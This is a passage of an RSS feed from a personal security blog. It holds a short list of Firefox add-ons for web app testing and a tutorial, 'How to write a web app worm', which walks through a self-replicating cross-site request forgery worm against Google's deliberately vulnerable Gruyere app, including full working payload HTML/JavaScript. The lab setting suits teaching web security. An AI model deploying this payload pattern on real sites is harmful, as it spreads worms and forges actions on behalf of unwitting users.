			<wfw:commentRss>http://travisaltman.com/location-of-forensic-evidence-in-the-registry/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://travisaltman.com/location-of-forensic-evidence-in-the-registry/</feedburner:origLink></item>
		<item>
		<title>Firefox add-ons for web app assessments</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/_b4TpSTj3yY/</link>
		<comments>http://travisaltman.com/firefox-add-ons-for-web-app-assessments/#comments</comments>
		<pubDate>Fri, 04 Feb 2011 03:34:31 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[SQL injection]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=339</guid>
		<description><![CDATA[These add-ons are mainly related to web application security, you see these types of list related to firefox add-ons but these are the ones that I think are the most helpful. Firefox has a nice category called web application security penetration testing that has a lot of the plugins I&#8217;ll mention.  Not all plugins in [...]]]></description>
			<content:encoded><![CDATA[<p>These add-ons are mainly related to web application security, you see these types of list related to firefox add-ons but these are the ones that I think are the most helpful. Firefox has a nice category called <a href="https://addons.mozilla.org/en-US/firefox/collections/adammuntner/webappsec/" target="_blank">web application security penetration testing</a> that has a lot of the plugins I&#8217;ll mention.  Not all plugins in this category are worthwhile which is why I&#8217;m sharing my list.</p>
<p>Detecting <a href="http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29" target="_blank">cross site scripting</a></p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/xss-me/" target="_blank">XSS &#8211; me</a></p>
<p><a href="http://travisaltman.com/tools/ffacuscan.xpi" target="_blank">Acunetix xss scanner</a></p>
<p>I&#8217;ve included the link to the Acunetix add-on from my site. You have to sign up with Acunetix in order to receive the add-on and even then it comes bundled with an executable. If for some reason my link doesn&#8217;t work with your version of firefox then simply go to the Acunetix site and download their latest version.</p>
<p>Detecting <a href="http://www.owasp.org/index.php/SQL_Injection" target="_blank">sql injection</a></p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/sql-inject-me/?src=collection&amp;collection_id=6fa2752d-f181-3d1d-bccf-508f5ff7c939" target="_blank">SQL inject me</a></p>
<p>Developer tools are always handy to have because if you can build it you can break it. The web developer add-on will allow you to easily see hidden form fields, javascript, cookies, etc. Firebug will allow you to easily see how the application is built by simply mouseing over the layout. Firebug is also a debugger and will allow you to set breakpoints for javascript, both are a must have.</p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/firebug/?src=collection&amp;collection_id=6fa2752d-f181-3d1d-bccf-508f5ff7c939" target="_blank">Firebug</a></p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/web-developer/?src=collection&amp;collection_id=6fa2752d-f181-3d1d-bccf-508f5ff7c939" target="_blank">Web developer</a></p>
<p>Modification tools, if you want to modify a request before it&#8217;s sent to the server tamper data is a great tool inside the browser for the job. User agent switcher will allow you to pretend to be any browser you&#8217;d like, don&#8217;t forget the starbucks iphone problem. Add n edit cookies is another modification tool that will allow you to easily change cookies so that you can impersonate a cookie you have obtained.</p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/tamper-data/?src=collection&amp;collection_id=6fa2752d-f181-3d1d-bccf-508f5ff7c939" target="_blank">Tamper data</a></p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/?src=collection&amp;collection_id=6fa2752d-f181-3d1d-bccf-508f5ff7c939" target="_blank">User agent switcher</a></p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/add-n-edit-cookies/?src=collection&amp;collection_id=6fa2752d-f181-3d1d-bccf-508f5ff7c939" target="_blank">Add n edit cookies</a></p>
<p>Miscellaneous add-ons. Show IP is a great add-on that will show you the IP connecting to, this may seem lame at first but when you are assessing multiple environments or malware this is always handy. Leet key is another great tool inside the browser that will perform encoding (base64, URL, rot13, etc) and even generate <a href="http://en.wikipedia.org/wiki/Hash_function" target="_blank">hashes</a>.</p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/showip/?src=collection&amp;collection_id=6fa2752d-f181-3d1d-bccf-508f5ff7c939" target="_blank">Show IP</a></p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/leet-key/?src=collection&amp;collection_id=6fa2752d-f181-3d1d-bccf-508f5ff7c939" target="_blank">Leet key</a></p>
<p>Notable mentions</p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/" target="_blank">Foxy proxy</a></p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/noscript/" target="_blank">Noscript</a></p>
<p>If you have any other recommendations please let me know.</p>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/_b4TpSTj3yY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/firefox-add-ons-for-web-app-assessments/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://travisaltman.com/firefox-add-ons-for-web-app-assessments/</feedburner:origLink></item>
		<item>
		<title>How to write a web app worm</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/b0EXzPqVmQI/</link>
		<comments>http://travisaltman.com/how-to-write-a-web-app-worm/#comments</comments>
		<pubDate>Sat, 06 Nov 2010 04:54:46 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=310</guid>
		<description><![CDATA[When I say web app worm I mean a web site specific worm such as twitter. Twitter has been picked on (they should be because it&#8217;s a meaningless app) when it comes to web app worms so why stop now. There are other types of worms that could include web servers and databases but that [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://travisaltman.com/wp-content/worm.png"><img class="size-full wp-image-313 alignleft" title="worm" src="http://travisaltman.com/wp-content/worm.png" alt="" width="107" height="180" /></a>When I say web app worm I mean a web site specific worm such as twitter. Twitter <a href="http://www.metro.co.uk/tech/842197-wtf-worm-sees-twitter-swamped-by-goat-sex" target="_blank">has been picked</a> on (they should be because it&#8217;s a meaningless app) when it comes to <a href="http://www.guardian.co.uk/technology/pda/2010/sep/22/twitter-onmouseover-worm" target="_blank">web app worms</a> so why stop now. There are other types of worms that could include web servers and databases but that won&#8217;t be addressed in this write up. The web app I&#8217;ll pick on for this example is <a href="http://google-gruyere.appspot.com/" target="_blank">Gruyere</a>. Gruyere is an intentional vulnerable application that a handful of folks over at google wrote to point out some of the major vulnerabilities within web applications. Gruyere is very twitter like so my example would be relevant to other applications that function in similar ways.</p>
<p>Most web site worms spread because they allow javascript to be inserted somewhere into the web application. For example in twitter when a status is updated (via a moronic &#8220;tweet&#8221;) you are allowed to insert words, sentences, and even links to other interesting sites. If twitter allows you to input all this information what do they block? Javascript is a well known programming language that you should never allow to be inserted into your web application. Even though many web developers know this they continually make mistakes and allow javascript to be inserted into their web apps. There are different categories of javascript attacks such as <a href="http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29" target="_blank">XSS</a> and <a href="http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29" target="_blank">XSRF</a>, I&#8217;m not a big fan of this naming convention but  you should be familiar with the terms and what they mean. Most all web app worms are spread via the XSRF attack. Basically a XSRF attack is where javascript (possibly other languages) is inserted into the web app, that javascript will then make a request on behalf of the user. This request could be malicious in nature or in case of the twitter worm examples just for fun. The example I&#8217;ll be going over will be a classic XSRF attack where I&#8217;ll insert javascript to make requests on behalf of the user.</p>
<p>Let&#8217;s get started. I went ahead and created several accounts within Gruyere to demo the attack, in this case Travis will be the attacker.</p>
<p><a href="http://travisaltman.com/wp-content/Selection_082.png"><img class="size-full wp-image-317 alignnone" title="Selection_082" src="http://travisaltman.com/wp-content/Selection_082.png" alt="" width="370" height="249" /></a></p>
<p>To create a web app worm first you&#8217;ll need to discover a vulnerability within a web app that allows you to insert javascript. Luckily the &#8220;New Snippet&#8221; functionality will allow us to insert javascript. Now to find vulnerable input that allows you to insert javascript may not be that easy. In order to successfully insert javascript you&#8217;ll need to be able to insert certain characters such as &#8220;&lt;&#8221; and &#8220;&gt;&#8221;. One great tool to find these characters which will in turn find vulnearbilities is <a href="https://addons.mozilla.org/en-US/firefox/addon/7598/" target="_blank">Firefox addon named &#8220;XSS Me&#8221;</a>. XSS Me will tell if an input will allow certain characters. So now that we have vulnerable input how do we get this worm started? As the attacker I will place the following link into a new snippet.</p>
<p><a href="http://travisaltman.com/wp-content/Selection_083.png"><img class="alignnone size-full wp-image-320" title="Selection_083" src="http://travisaltman.com/wp-content/Selection_083.png" alt="" width="589" height="93" /></a></p>
<p>Now all I&#8217;m doing here is creating a link to my evil code, to create a worm you don&#8217;t have to keep your evil code in another location you could insert all the evil code you need into the vulnerable web app itself. Most of the time inserting all of your evil code into the app itself would be ideal but it really depends on what the vulnerable app will allow you to do. Now that we&#8217;ve inserted a link to our evil code what exactly does our evil code look like, below is the source code in evil.html.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;p &lt;body onload=&quot;Wait();&quot;&gt;&lt;img src=&quot;http://google-gruyere.appspot.com/251625447516/newsnippet2?snippet=%3Ca%20href%3D%22http%3A%2F%2Ftravisaltman.com%2Fevil.html%22%3Ekitten%20videos%3C%2Fa%3E&quot;&gt;<br />
&lt;script&gt;<br />
function Redirect()<br />
{<br />
window.location=&quot;http://google-gruyere.appspot.com/251625447516/&quot;;<br />
}<br />
function Wait()<br />
{<br />
setTimeout(&quot;Redirect()&quot;, 1000);<br />
}<br />
&lt;/script&gt;</div></td></tr></tbody></table></div>
<p>Now let&#8217;s break evil.html down line by line. All the magic is happening in line one. The first thing that is written is the html paragraph tag &#8220;&lt;p&#8221;, this is done specifically for this app because anything after the &lt;p&gt; tag would allow other characters. Next is the html body tag with an &#8220;onload&#8221; action. An action in malicious code is common so that the attacker perform other steps, another common action event is an onmouseover event. Once the page loads it will call the &#8220;Wait&#8221; function, we&#8217;ll come back to that in just a bit. After the wait is the image tag (&lt;img&gt;) to make the XSRF request for me. The request is to add a new snippet to whomever clicks on the link. In this case if a victim were to click on my link it would create a new snippet for them with a link saying &#8220;kitten videos&#8221;. To add a new snippet within Gruyere the url would be the following</p>
<div class="codecolorer-container html4strict blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://google-gruyere.appspot.com/251625447516/newsnippet2?snippet=</div></div>
<p>Anything after the equal sign would show up as a new snippet so I inserted the following &#8220;malicious&#8221; snippet</p>
<div class="codecolorer-container html4strict blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">%3Ca%20href%3D%22http%3A%2F%2Ftravisaltman.com%2Fevil.html%22%3Ekitten%20videos%3C%2Fa%3E</div></div>
<p>So what does all that mess mean? If you take all that mess and url decode it&#8217;s the following.</p>
<div class="codecolorer-container html4strict blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://travisaltman.com/evil.html&quot;</span>&gt;</span>kitten videos<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/a.html"><span style="color: #000000; font-weight: bold;">a</span></a>&gt;</span></div></div>
<p>In this case I had to <a href="http://meyerweb.com/eric/tools/dencoder/" target="_blank">url encode</a> my attack so that it would work, this is not uncommon when performing these types of attacks. So as the attacker I&#8217;m placing a link inside a new snippet for the victim that says &#8220;kitten videos&#8221; but that link is still pointing to my evil.html. Now let&#8217;s get back to the wait function. I won&#8217;t break it down line by line but what happens is when the page fully loads the code will jump to the wait function on line seven. After that setTimeout will execute after one second which calls the Redirect function, the Redirect function will redirect the user to the home page of Gruyere. The whole point of everything after line one is to simply redirect the user back to the homepage after the attack. So now that we have planted the seed of attack let&#8217;s see what happens when Alice clicks on our evil link.</p>
<p><a href="http://travisaltman.com/wp-content/Selection_084.png"><img class="alignnone size-full wp-image-328" title="Selection_084" src="http://travisaltman.com/wp-content/Selection_084.png" alt="" width="355" height="237" /></a></p>
<p>Just by clicking on our &#8220;evil&#8221; link Alice created a snippet that she herself didn&#8217;t write, it was our malicious javascript that created the link. Now let&#8217;s login as Bob and click on the &#8220;kitten videos&#8221; in Alice&#8217;s snippets.</p>
<p><a href="http://travisaltman.com/wp-content/Selection_086.png"><img class="alignnone size-full wp-image-331" title="Selection_086" src="http://travisaltman.com/wp-content/Selection_086.png" alt="" width="373" height="238" /></a></p>
<p>Bob has now updated his snippets just by simply clicking on the link in Alice&#8217;s snippet. You can now see how this can snowball much like other web app worms have spread as well. So in only a few lines of code I have created a worm that will replicate throughout the application infecting whomever clicks on my malicious link. The twitter worm was <a href="http://www.wait-till-i.com/2010/09/26/new-twitter-exploit-how-it-works/" target="_blank">very simple</a> as well. I could have just as easily made it that if a user were to simply view my snippet that they would get infected as well. Once you allow javascript to be inserted into your app that are a number of things an attacker can do to manipulate your application.</p>
<p>Hopefully this small write up at least some what explains how web app worms get created and how simple they can be. Developers of major applications such as twitter need to better test and review code they have written. As one of my links points out a seventeen year old kid exploited the mighty twitter, just goes to show you how well major applications are focusing on their security. As a user I would never click on a link that you don&#8217;t trust and turn off javascript for web apps that don&#8217;t need javascript in the first place. If another worm pops up in twitter or facebook I won&#8217;t be sad.</p>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/b0EXzPqVmQI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/how-to-write-a-web-app-worm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://travisaltman.com/how-to-write-a-web-app-worm/</feedburner:origLink></item>
	</channel>
</rss>

